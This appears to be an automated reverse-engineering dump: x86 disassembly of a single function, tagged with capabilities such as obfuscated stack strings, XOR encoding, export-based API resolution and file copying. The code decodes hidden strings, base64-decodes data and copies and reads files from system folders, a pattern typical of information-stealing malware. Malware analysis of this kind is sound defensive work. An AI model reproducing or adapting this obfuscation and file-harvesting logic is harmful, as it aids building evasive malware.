Function at 0x428bc5
Capabilities:
Contain obfuscated stackstrings
Copy file
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x454
mov dword [esp + 0x34], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x54], 0x63f661f3
mov dword [esp + 0x58], 0x67c765c1
mov dword [esp + 0x5c], 0x5b8459c5
mov dword [esp + 0x60], 0x5fd65df9
mov dword [esp + 0x64], 0x535251f5
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x98
xor cl, byte [esp + eax + 0x54]
add cl, 8
mov byte [esp + eax + 0x54], cl
inc eax
cmp eax, 0x14
jne case.default.0x4282e9
lea ebp, [esp + 0x54]
lea ecx, [esp + 0x28]
push ebp
call fcn.0043bd60
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x447cdc]
lea ecx, [esp + 0x28]
push 0x410
call fcn.0043bfa0
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x447ce4]
mov dword [esp + 0x54], 0x6a437865
mov dword [esp + 0x58], 0x706a4d60
mov dword [esp + 0x5c], 0x6c656341
mov dword [esp + 0x60], 0x577e6645
mov dword [esp + 0x64], 0x605b5246
mov dword [esp + 0x68], 0x7f5c565d
mov dword [esp + 0x6c], 0x72795e7a
mov dword [esp + 0x70], 0x765f7453
mov dword [esp + 0x74], 0x66707672
mov dword [esp + 0x78], 0x4e631571
mov dword [esp + 0x7c], 0x2b1a6161
mov dword [esp + 0x80], 0
mov esi, 0x8e1ebbff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ebx + 0x54]
mov eax, ebx
and eax, edx
add eax, eax
mov ecx, edx
sub ecx, eax
mov edi, ebx
add ebx, ecx
add ebx, 0x71e14400
or ebx, esi
mov eax, ebx
shr al, 1
and al, 1
mov ecx, ebx
not cl
mov ah, cl
and ah, 0x3d
mul ah
add al, al
sub dl, al
test bl, 2
mov ebx, edi
sete al
or cl, 2
mul cl
add al, al
sub dl, al
movzx eax, dl
add eax, edi
mov byte [esp + edi + 0x54], al
inc ebx
dec esi
cmp ebx, 0x30
jne case.default.0x4283f3
lea eax, [esp + 0x48]
lea ecx, [esp + 0x28]
push 0
push 0x2b
push ebp
push eax
call fcn.0043c4f0
mov ebx, dword [esp + 0x48]
mov esi, dword [esp + 0x4c]
xor eax, eax
cmp ebx, esi
sete al
jmp dword [eax*4 + 0x447cec]
mov eax, esi
sub eax, ebx
sar eax, 2
mov ecx, eax
and ecx, 0x421
mov edx, eax
or eax, 0x421
imul eax, ecx
xor ecx, 0x421
and edx, 0xfffffbde
imul edx, ecx
add eax, edx
push eax
call fcn.00408380
add esp, 4
mov dword [esp + 0x24], 0
xor ecx, ecx
mov dword [esp + 0x40], esi
cmp ebx, esi
setne cl
mov dword [esp + 0x20], eax
mov edx, eax
mov edi, dword [esp + 0x468]
jmp dword [ecx*4 + 0x447cf4]
mov ebx, dword [esp + 0x24]
mov eax, ebx
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x447cfc]
jmp dword [0x447d4c]
add ebx, 4
xor eax, eax
cmp ebx, dword [esp + 0x40]
setne al
jmp dword [eax*4 + 0x447cf4]
mov dword [esp + 4], edx
mov esi, dword [ebx]
push 0x400
push 0
push ebp
call fcn.00408400
add esp, 0xc
lea eax, [esp + 0x18]
lea ecx, [esp + 0x28]
push eax
push 0x400
push ebp
push esi
call fcn.0043c440
cmp eax, 0xc0000000
setae al
cmp dword [esp + 0x18], 0
sete cl
or cl, al
movzx eax, cl
jmp dword [eax*4 + 0x447d04]
mov eax, 1
mov edx, dword [esp + 4]
jmp dword [eax*4 + 0x447d0c]
xor eax, eax
mov edx, dword [esp + 4]
jmp dword [eax*4 + 0x447d0c]
mov byte [esp + 0x453], 0
movzx eax, byte [esp + 0x54]
xor esi, esi
test al, al
je 0x428521
mov ecx, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp al, 0x2e
je 0x42851f
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x428510
jmp 0x428521
mov esi, ecx
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x447d14]
movzx eax, byte [esi + 1]
inc esi
mov ecx, esi
xor esi, esi
test al, al
mov dword [esp + 0xc], ecx
je 0x428551
cmp al, 0x2e
je 0x42854f
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x428540
jmp 0x428551
mov esi, ecx
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x447d1c]
mov eax, dword [case.0x4283f3.7]
jmp case.0x42874b.1
mov ecx, esi
sub ecx, dword [esp + 0xc]
lea edx, [ecx + ecx*2]
shr edx, 2
movzx eax, byte [esi - 1]
cmp eax, 0x3d
je 0x428583
cmp eax, 0x2e
jne 0x428584
dec edx
mov eax, dword [esp + 0xc]
movzx eax, byte [eax + ecx - 2]
cmp eax, 0x3d
mov dword [esp + 0x10], ecx
je 0x42859b
cmp eax, 0x2e
jne 0x42859c
dec edx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x38], edx
lea eax, [edx + 1]
push eax
call fcn.00408380
add esp, 4
mov dword [esp + 0x14], eax
cmp esi, dword [esp + 0xc]
mov ebp, dword [esp + 0x10]
je 0x4286b7
xor ebx, ebx
mov esi, 2
jmp 0x4285ea
mov ecx, ebp
mov ebp, dword [esp + 8]
lea eax, [esi + 4]
add esi, 2
mov ebx, ebp
cmp esi, ecx
mov esi, eax
mov ebp, ecx
jae 0x4286b7
mov edi, dword [esp + 0xc]
movzx eax, byte [edi + esi - 2]
push eax
call fcn.0041f650
add esp, 4
mov byte [esp + 8], al
movzx eax, byte [edi + esi - 1]
push eax
call fcn.0041f650
add esp, 4
movzx edx, byte [esp + 8]
shl dl, 2
mov ecx, eax
shr cl, 4
and cl, 3
or cl, dl
lea edx, [ebx + 1]
mov dword [esp + 8], edx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x44], ebx
mov byte [edx + ebx], cl
cmp esi, ebp
jae 0x4285d0
mov byte [esp + 3], al
movzx eax, byte [edi + esi]
push eax
call fcn.0041f650
mov ecx, dword [esp + 0x14]
add esp, 4
cmp al, 0x40
mov ebp, dword [esp + 8]
je 0x4285d6
mov bh, byte [esp + 3]
shl bh, 4
mov edx, eax
shr dl, 2
and dl, 0xf
or dl, bh
mov ebx, dword [esp + 0x44]
lea ebp, [ebx + 2]
mov edi, dword [esp + 0x14]
mov byte [edi + ebx + 1], dl
lea edx, [esi + 1]
cmp edx, ecx
jae 0x4285d6
mov byte [esp + 8], al
mov eax, dword [esp + 0xc]
movzx eax, byte [eax + esi + 1]
push eax
call fcn.0041f650
add esp, 4
cmp al, 0x40
je 0x4286ae
movzx ecx, byte [esp + 8]
shl cl, 6
add al, cl
mov byte [edi + ebx + 2], al
or ebp, 1
and ebx, 1
add ebp, ebx
mov ecx, dword [esp + 0x10]
jmp 0x4285d6
mov eax, dword [esp + 0x38]
mov esi, dword [esp + 0x14]
mov byte [esi + eax], 0
push esi
call fcn.00401000
add esp, 4
mov ebx, eax
jmp dword [0x447d24]
push esi
call fcn.00408390
add esp, 4
push ebx
call fcn.00401940
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
mov edi, dword [esp + 0x468]
lea ebp, [esp + 0x54]
jmp dword [ecx*4 + 0x447d2c]
jmp 0x4287a9
mov dword [esp + 0x18], 0x89340001
mov dword [esp + 0x1c], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xa3
xor dl, byte [esp + ecx + 0x18]
add dl, 0xd1
mov byte [esp + ecx + 0x18], dl
inc ecx
cmp ecx, 8
jne case.default.0x42874b
lea ecx, [esp + 0x18]
push ecx
push eax
call fcn.00401890
add esp, 8
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x447d34]
mov edx, dword [esp + 4]
jmp 0x428783
movzx ecx, byte [eax]
test cl, cl
mov edx, dword [esp + 4]
je 0x42877b
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], cl
inc edx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x428770
mov word [edx], 0x203a
add edx, 2
movzx eax, byte [esp + 0x54]
test al, al
je 0x42879b
lea ecx, [esp + 0x55]
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x428790
mov byte [edx], 0xa
inc edx
mov dword [esp + 4], edx
mov al, 1
mov dword [esp + 0x24], eax
push ebx
call fcn.00401bb0
add esp, 4
mov eax, dword [case.0x4283f3.7]
mov ebx, dword [esp + 0x3c]
mov edx, dword [esp + 4]
nop
jmp eax
xor edi, edi
test ebx, ebx
jne 0x42887a
jmp 0x428887
mov esi, edx
mov byte [edx], 0
mov dword [esp + 0x54], 0x3060959
mov dword [esp + 0x58], 0x1f330a0d
mov dword [esp + 0x5c], 0x1c0209
mov dword [esp + 0x60], 0x1606225f
mov dword [esp + 0x64], 0x2b551c29
mov dword [esp + 0x68], 0x111f1217
mov dword [esp + 0x6c], 0xf7f2530f
mov word [esp + 0x70], 0x7df0
mov dword [esp + 0x72], 0
xor eax, eax
nop
mov ecx, eax
add cl, 0x66
xor cl, byte [esp + eax + 0x54]
add cl, 2
mov byte [esp + eax + 0x54], cl
mov ecx, eax
xor ecx, 0xfffffffe
or eax, 1
and ecx, eax
add eax, ecx
cmp eax, 0x22
jb 0x428820
mov edx, dword [esp + 0x20]
sub esi, edx
lea eax, [esp + 0x54]
mov ecx, edi
push esi
push edx
push eax
call fcn.00409160
mov ebx, eax
jmp dword [0x447d4c]
push dword [esp + 0x20]
call fcn.00408390
add esp, 4
and bl, 1
mov edi, ebx
mov ebx, dword [esp + 0x48]
mov esi, dword [esp + 0x4c]
test ebx, ebx
je 0x428887
cmp ebx, esi
je 0x428887
push ebx
call fcn.00408390
add esp, 4
mov ebx, edi
lea ecx, [esp + 0x28]
call fcn.0043c0f0
mov eax, ebx
add esp, 0x454
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
add ecx, 2
cmp word [eax], 0
jne 0x428a90
sub eax, edi
cmp eax, 0xffffffd9
jge 0x428ab0
mov eax, 0xffffffff
jmp 0x428ab3
xor eax, eax
jmp 0x429167
add eax, 0x26
push eax
call fcn.00408380
add esp, 4
mov ebx, eax
mov dword [esp + 0x14], 0x8f298924
mov dword [esp + 0x18], 0x83308d3f
mov dword [esp + 0x1c], 0x873f813a
mov dword [esp + 0x20], 0x9b36853f
mov dword [esp + 0x24], 0x9f2d993f
mov dword [esp + 0x28], 0x93289d2e
mov dword [esp + 0x2c], 0x972d9129
mov dword [esp + 0x30], 0x6be09566
mov dword [esp + 0x34], 0x6fd469cc
mov word [esp + 0x38], 0x6d6c
mov dword [esp + 0x3a], 0
mov byte [esp + 0x3e], 0
xor eax, eax
nop
nop
nop
nop
mov ecx, eax
xor ecx, 0x9d
mov edx, eax
or edx, 0x62
and ecx, edx
add ecx, edx
xor cl, byte [esp + eax + 0x14]
add cl, 0x16
mov byte [esp + eax + 0x14], cl
inc eax
cmp eax, 0x2b
jne 0x428b20
movzx ecx, word [edi]
mov eax, ebx
test cx, cx
je 0x428b71
mov edx, edi
add edx, 2
mov eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x428b60
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x428ba1
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x428b90
mov word [eax], 0
jmp dword [0x447d5c]
push edi
call fcn.00408390
add esp, 4
xor eax, eax
cmp word [ebx], 0x2a
sete al
jmp dword [eax*4 + 0x447d64]
xor eax, eax
cmp word [ebx], 0x2a
sete al
jmp dword [eax*4 + 0x447d64]
mov dword [esp + 0x14], 0x11541f59
mov dword [esp + 0x18], 0x1577137c
mov dword [esp + 0x1c], 0x9881785
mov dword [esp + 0x20], 0xd910b6e
mov dword [esp + 0x24], 0x1620f95
mov dword [esp + 0x28], 0x5930365
mov dword [esp + 0x2c], 0x3960079a
mov dword [esp + 0x30], 0x3da33ba3
mov dword [esp + 0x34], 0x31a83f62
mov dword [esp + 0x38], 0x35543354
mov word [esp + 0x3c], 0x3734
mov dword [esp + 0x3e], 0
mov byte [esp + 0x42], 0
xor eax, eax
mov cl, 0xfa
nop
nop
nop
movzx edx, byte [esp + eax + 0x14]
xor dl, cl
mov ch, 0xe6
sub ch, dl
mov byte [esp + eax + 0x14], ch
inc eax
dec cl
cmp eax, 0x2f
jne case.default.0x428c86
push 0
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x60
push 3
push 0x120089
push ebp
mov dword [esp + 0x78], ebx
push ebx
call fcn.00440af0
add esp, 0x14
not eax
shr eax, 0x1f
xor ebx, ebx
mov dword [esp], 0
jmp dword [eax*4 + 0x447d6c]
jmp dword [0x447dfc]
push dword [esp + 0x68]
call fcn.00408390
add esp, 4
nop
jmp dword [0x447e0c]
xor eax, eax
mov edx, dword [esp]
cmp edx, ebx
sete al
jmp dword [eax*4 + 0x447e14]
mov dword [esp + 4], ebx
mov dword [esp + 0x14], 0x29e62b0f
mov dword [esp + 0x18], 0x2dcb2fb9
mov dword [esp + 0x1c], 0xd13ed3cb
mov dword [esp + 0x20], 0xd546d717
mov dword [esp + 0x24], 0xd91edb44
mov dword [esp + 0x28], 0xdd4adf3f
mov dword [esp + 0x2c], 0xc1e9c33b
mov dword [esp + 0x30], 0xc533c73c
mov dword [esp + 0x34], 0xc921cb50
mov dword [esp + 0x38], 0xcd5dcf2f
mov dword [esp + 0x3c], 0xf11ef330
mov dword [esp + 0x40], 0xf513f761
mov dword [esp + 0x44], 0xf916fb13
mov dword [esp + 0x48], 0xfd64ff2a
mov dword [esp + 0x4c], 0xe108e318
lea eax, [esp + 0x50]
mov word [esp + 0x50], 0xe7e0
mov dword [esp + 0x52], 0
mov byte [esp + 0x56], 0
xor ecx, ecx
xor edx, edx
nop
mov esi, ecx
and esi, 0xee
mov ebx, edx
xor ebx, 0xf7
add ebx, esi
xor bl, byte [esp + edx + 0x14]
add bl, 0x2d
mov byte [esp + edx + 0x14], bl
inc edx
add ecx, 2
cmp edx, 0x43
jne 0x428d50
lea edx, [esp + 0x14]
mov edi, ebp
mov ecx, 0xf
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xdc]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea eax, [esp + 0x98]
push eax
push 0
push 0
push 0x1e
mov esi, ebp
push ebp
push 0
call dword [0x44ce34]
mov dword [esp + 0x14], 0x97d6c927
mov ecx, 0xae
mov edx, 0x51
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + ecx - 0x9a]
mov ebx, edi
not ebx
mov ebp, ecx
and ebp, ebx
or ebx, edx
add ebx, edi
inc ebx
or ebx, ebp
add bl, 0x9a
mov byte [esp + ecx - 0x9a], bl
inc ecx
dec edx
cmp ecx, 0xb2
jne case.default.0x428e0d
xor ecx, ecx
cmp eax, dword [esp + 0x14]
setne cl
xor edi, edi
mov edx, dword [esp]
mov ebx, dword [esp + 4]
jmp dword [ecx*4 + 0x447e1c]
mov edi, dword [esp + 0x98]
test edi, edi
jns 0x428fe1
mov eax, 0xffffffff
jmp 0x428fe4
lea eax, [esp + 0x8c]
push 0
push eax
push dword [esp + 0xa8]
call fcn.00440e60
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
mov dword [esp], 0
jmp dword [eax*4 + 0x447d74]
mov edi, dword [esp + 0x8c]
lea eax, [edi + 1]
push eax
call fcn.00408380
add esp, 4
push 0
push edi
mov dword [esp + 0x10], eax
push eax
push dword [esp + 0xac]
call fcn.00440f30
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
mov dword [esp], 0
jmp dword [eax*4 + 0x447d7c]
mov edi, dword [esp + 0x8c]
mov ebx, dword [esp + 8]
mov byte [ebx + edi], 0
push 0x20
call fcn.00408380
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0xc], eax
mov ecx, eax
push edi
push ebx
call fcn.0042b5a0
movzx eax, al
xor ebx, ebx
mov dword [esp], 0
jmp dword [eax*4 + 0x447d84]
mov dword [esp + 0x14], 0x45584ea9
mov dword [esp + 0x18], 0x52405079
mov dword [esp + 0x1c], 0x7555a185
mov dword [esp + 0x20], 0x98bb6c7e
mov dword [esp + 0x24], 0x7e6d6878
mov dword [esp + 0x28], 0x606780b1
mov dword [esp + 0x2c], 0x6d787075
mov word [esp + 0x30], 0xdb6d
mov dword [esp + 0x32], 0
mov byte [esp + 0x36], 0
mov eax, 0x3860bfaa
nop
nop
nop
movzx edx, byte [esi]
mov ecx, eax
or ecx, edx
lea edi, [eax - 0x3860bf00]
and edi, edx
not ecx
or ecx, edi
mov edx, ecx
and edx, 0x56
mov edi, ecx
and edi, 1
xor ecx, 0x56
lea ecx, [ecx + edx*2]
or ecx, 1
add ecx, edi
mov byte [esi], cl
inc esi
dec eax
cmp eax, 0x3860bf87
jne 0x428f50
lea eax, [esp + 0x14]
mov ecx, dword [esp + 0xc]
push eax
call fcn.0042b790
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
mov dword [esp], 0
jmp dword [ecx*4 + 0x447d8c]
mov eax, dword [case.0x428c86.5]
lea ebp, [esp + 0xa0]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov esi, dword [esp + 0xc]
jmp dword [0x447dbc]
jmp dword [0x447dc4]
xor eax, eax
test edx, edx
jne 0x429134
jmp 0x429167
lea eax, [edi + edi]
push eax
call fcn.00408380
add esp, 4
mov ebp, eax
lea eax, [esp + 0x98]
push eax
push edi
push ebp
push 0x1e
push esi
push 0
call dword [0x44ce34]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447e24]
xor edi, edi
mov edx, dword [esp]
jmp dword [0x447e3c]
push ebp
call fcn.00408390
mov edx, dword [esp + 4]
add esp, 4
mov eax, dword [case.0x428e0d.0]
xor edi, edi
nop
jmp eax
mov eax, ebx
sub eax, dword [esp]
sar eax, 3
imul eax, eax, 0x421
push eax
call fcn.00408380
add esp, 4
mov edi, eax
lea eax, [esp + 0x6c]
push 0x60
push 3
push 0x120089
push eax
push ebp
call fcn.00440af0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447e54]
xor edx, edx
mov esi, edi
jmp dword [0x447eec]
push ebp
mov ebp, edx
call fcn.00408390
add esp, 4
mov edx, ebp
mov eax, edx
and al, 1
movzx ecx, al
mov eax, ebp
jmp dword [ecx*4 + 0x447f04]
mov byte [esi], 0
mov dword [esp + 0x14], 0x55565787
mov dword [esp + 0x18], 0x51a1aeab
mov dword [esp + 0x1c], 0x54585ea7
mov dword [esp + 0x20], 0x9a56b699
mov dword [esp + 0x24], 0x8da76097
mov dword [esp + 0x28], 0x6b9d6661
mov dword [esp + 0x2c], 0x6162a961
mov dword [esp + 0x30], 0xfb64
xor eax, eax
mov ecx, dword [esp + 0xf4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, eax
add dl, 0xd1
xor dl, byte [esp + eax + 0x14]
add dl, 0xeb
mov byte [esp + eax + 0x14], dl
inc eax
cmp eax, 0x20
jne 0x4290f0
sub esi, edi
push esi
push edi
lea eax, [esp + 0x1c]
push eax
call fcn.00409160
jmp dword [0x447f0c]
push edi
mov esi, eax
call fcn.00408390
mov eax, esi
add esp, 4
and al, 1
mov edx, dword [esp]
mov edi, eax
mov eax, edi
test edx, edx
je 0x429167
cmp edx, ebx
je 0x429167
mov edi, eax
mov esi, edx
jmp 0x429147
add esi, 8
cmp esi, ebx
je 0x42915c
mov eax, dword [esi]
test eax, eax
je 0x429140
push eax
call fcn.00408390
mov edx, dword [esp + 4]
add esp, 4
jmp 0x429140
push edx
call fcn.00408390
add esp, 4
mov eax, edi
add esp, 0xe0
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [esp + 0x94]
push 0
push eax
push dword [esp + 0x74]
call fcn.00440e60
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [esp + 8], 0
mov esi, edi
mov dword [esp + 0xc], edi
jmp dword [eax*4 + 0x447e5c]
mov dword [esp + 0x78], ebp
mov esi, dword [esp + 0x94]
lea eax, [esi + 1]
push eax
call fcn.00408380
add esp, 4
push 0
push esi
mov dword [esp + 0x7c], eax
push eax
push dword [esp + 0x78]
call fcn.00440f30
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp + 8], 0
mov esi, edi
jmp dword [eax*4 + 0x447e64]
mov esi, dword [esp + 0x94]
mov ebp, dword [esp + 0x74]
mov byte [ebp + esi], 0
push 0x20
call fcn.00408380
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x70], eax
mov ecx, eax
push esi
push ebp
call fcn.0042b5a0
movzx eax, al
mov dword [esp + 8], 0
mov esi, edi
jmp dword [eax*4 + 0x447e6c]
mov dword [esp + 0x14], 0x1b0c0a37
mov dword [esp + 0x18], 0xe1c341f
mov dword [esp + 0x1c], 0x1b2f3b43
mov dword [esp + 0x20], 0x24591006
mov dword [esp + 0x24], 0x12271404
mov dword [esp + 0x28], 0x11113a57
mov dword [esp + 0x2c], 0xf3e11c12
mov dword [esp + 0x30], 0xe3e5dcc3
mov word [esp + 0x34], 0x79e5
mov dword [esp + 0x36], 0
xor ecx, ecx
movzx eax, byte [esp + ecx + 0x14]
mov esi, ecx
and ecx, 0x26
mov edx, esi
or edx, 0x1ad77be6
add edx, ecx
mov ecx, esi
xor edx, eax
lea eax, [edx + 0x81]
not edx
and edx, 1
xor eax, 1
lea eax, [eax + edx*2]
mov byte [esp + esi + 0x14], al
inc ecx
cmp ecx, 0x26
jne case.default.0x4292ec
mov ecx, dword [esp + 0x70]
lea eax, [esp + 0x14]
push eax
call fcn.0042b790
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 8], 0
mov esi, dword [esp + 0xc]
jmp dword [ecx*4 + 0x447e74]
jmp dword [0x447edc]
mov edi, dword [esp + 0x70]
mov ecx, edi
call fcn.0042b8f0
push edi
call fcn.00408390
add esp, 4
mov ebp, dword [esp + 0x78]
jmp dword [0x447ee4]
add eax, 8
xor ebx, ebx
mov ecx, dword [eax]
xor eax, eax
mov dword [esp + 4], ecx
test ecx, ecx
setne al
mov dword [esp], 0
xor ebp, ebp
jmp dword [eax*4 + 0x447d94]
mov ecx, dword [esp + 4]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
mov dword [esp + 4], ecx
test ecx, ecx
setne al
jmp dword [eax*4 + 0x447d94]
jmp dword [0x447da0]
mov esi, ebx
mov ebx, dword [esp]
jmp 0x429412
mov eax, dword [esp + 4]
mov edx, dword [eax]
mov edi, ebx
mov eax, ebx
mov ebx, dword [esp]
sub edi, ebx
cmp eax, ebp
je 0x429390
mov esi, eax
jmp 0x429406
mov dword [esp + 0x10], edx
mov eax, edi
sar eax, 3
inc eax
mov ecx, ebp
sub ecx, ebx
sar ecx, 3
mov esi, ecx
shr esi, 1
add esi, ecx
cmp esi, eax
ja 0x4293ad
mov esi, eax
lea eax, [esi*8]
push eax
call fcn.00408380
add esp, 4
mov ebx, eax
mov edx, dword [esp]
test edx, edx
je 0x4293fb
cmp edx, ebp
je 0x4293f2
xor eax, eax
nop
nop
nop
nop
mov ecx, dword [edx + eax]
mov dword [ebx + eax], ecx
mov ecx, dword [edx + eax + 4]
mov dword [ebx + eax + 4], ecx
mov dword [edx + eax], 0
lea ecx, [edx + eax]
add ecx, 8
add eax, 8
cmp ecx, ebp
jne 0x4293d0
push edx
call fcn.00408390
add esp, 4
lea ebp, [ebx + esi*8]
mov esi, ebx
add esi, edi
mov edx, dword [esp + 0x10]
add edi, ebx
mov ecx, edi
call fcn.0042c5f0
add esi, 8
mov eax, dword [esp + 4]
mov edx, dword [eax]
mov edi, esi
sub edi, ebx
cmp esi, ebp
je 0x429430
mov eax, ebx
mov ebx, esi
jmp 0x4294a9
mov dword [esp], edx
mov eax, edi
sar eax, 3
inc eax
mov ecx, ebp
sub ecx, ebx
sar ecx, 3
mov esi, ecx
shr esi, 1
add esi, ecx
cmp esi, eax
ja 0x42944c
mov esi, eax
lea eax, [esi*8]
push eax
call fcn.00408380
add esp, 4
test ebx, ebx
je 0x42949f
cmp ebx, ebp
je 0x429492
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebx + edx]
mov dword [eax + edx], ecx
mov ecx, dword [ebx + edx + 4]
mov dword [eax + edx + 4], ecx
mov dword [ebx + edx], 0
lea ecx, [ebx + edx]
add ecx, 8
add edx, 8
cmp ecx, ebp
jne 0x429470
push ebx
mov ebx, eax
call fcn.00408390
mov eax, ebx
add esp, 4
lea ebp, [eax + esi*8]
mov ebx, eax
add ebx, edi
mov edx, dword [esp]
mov dword [esp], eax
add edi, eax
mov ecx, edi
call fcn.0042c5f0
add ebx, 8
jmp dword [0x447da4]
mov ebp, dword [esp + 0x78]
jmp dword [0x447ee4]
push dword [esp + 0x74]
call fcn.00408390
add esp, 4
mov dword [esp + 0x10], esi
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x14], 0x14151a1b
mov word [esp + 0x18], 0
mov byte [esp + 0x1a], 0
mov ecx, 0xd4276d46
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x2bd892ce]
xor edx, ecx
mov esi, edx
and esi, 0x21
xor edx, 0xa1
lea edx, [edx + esi*2]
inc dl
mov byte [esp + ecx + 0x2bd892ce], dl
inc ecx
cmp ecx, 0xd4276d4d
jne 0x429500
mov ecx, dword [0x44ce38]
test ecx, ecx
je 0x429558
mov edx, dword [esp + 0x14]
xor esi, esi
mov edi, dword [0x44ce3c]
cmp dword [edi + esi*8], 0x1b6183f2
je 0x429550
inc esi
cmp ecx, esi
jne 0x429540
jmp 0x429558
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x429580
mov edi, dword [esp + 0xc]
mov edx, dword [esp + 8]
mov esi, dword [esp + 0x10]
jmp dword [0x447eec]
mov eax, edx
and al, 1
movzx ecx, al
mov eax, edx
jmp dword [ecx*4 + 0x447f04]
jmp dword [0x447f0c]
push eax
push 4
push ecx
push dword [0x44ce40]
call fcn.0043e410
add esp, 0x10
mov edi, dword [esp + 0xc]
mov edx, dword [esp + 8]
mov esi, dword [esp + 0x10]
jmp dword [0x447eec]
add eax, 8
mov dword [esp + 8], 0
mov ebp, dword [eax]
xor eax, eax
test ebp, ebp
setne al
mov esi, dword [esp + 0xc]
jmp dword [eax*4 + 0x447e7c]
jmp dword [0x447e8c]
cmp dword [ebp + 0x18], 3
mov edi, 0
jne 0x4295d0
mov edi, dword [ebp + 0x10]
jmp 0x4295d0
mov edx, dword [ebp]
test edx, edx
setne al
test edi, edi
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x447e94]
add ebp, 4
mov ebp, dword [ebp]
xor eax, eax
test ebp, ebp
setne al
jmp dword [eax*4 + 0x447e7c]
mov dword [esp + 0x9c], edx
mov dword [esp + 0x80], ebp
mov dword [esp + 0x10], esi
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, eax
inc eax
cmp byte [esi], 0
jne case.default.0x429657
sub esi, edi
inc esi
shr esi, 1
lea eax, [esi + 1]
push eax
call fcn.00408380
add esp, 4
movsx ecx, byte [edi]
xor edx, edx
test ecx, ecx
setne dl
mov dword [esp + 0x7c], eax
jmp dword [edx*4 + 0x447e9c]
mov byte [eax], cl
inc eax
movsx ecx, byte [ebp]
xor ebx, ebx
test ecx, ecx
setne bl
mov edi, ebp
jmp dword [ebx*4 + 0x447e9c]
lea ebp, [edi + 1]
mov ebx, ecx
not ebx
or ebx, 0xffffffdf
add ebx, ecx
add ebx, 0xffffffc0
cmp ebx, 5
ja case.default.0x4296a1
mov ecx, ebx
xor ecx, 0xa
and ebx, 2
lea ecx, [ecx + ebx*2]
movsx ebx, byte [ebp]
xor edx, edx
test ebx, ebx
setne dl
jmp dword [edx*4 + 0x447ea4]
add ecx, 0xffffffd0
cmp ecx, 0xa
jb case.default.0x4296c8
mov ecx, 0xffffffff
movsx ebx, byte [ebp]
xor edx, edx
test ebx, ebx
setne dl
jmp dword [edx*4 + 0x447ea4]
shl ecx, 4
add edi, 2
mov edx, ebx
not edx
or edx, 0xffffffdf
add edx, ebx
add edx, 0xffffffc0
cmp edx, 5
ja case.default.0x429700
mov ebx, edx
xor ebx, 0xa
and edx, 2
lea edx, [ebx + edx*2]
or edx, ecx
mov byte [eax], dl
inc eax
movsx ecx, byte [edi]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x447e9c]
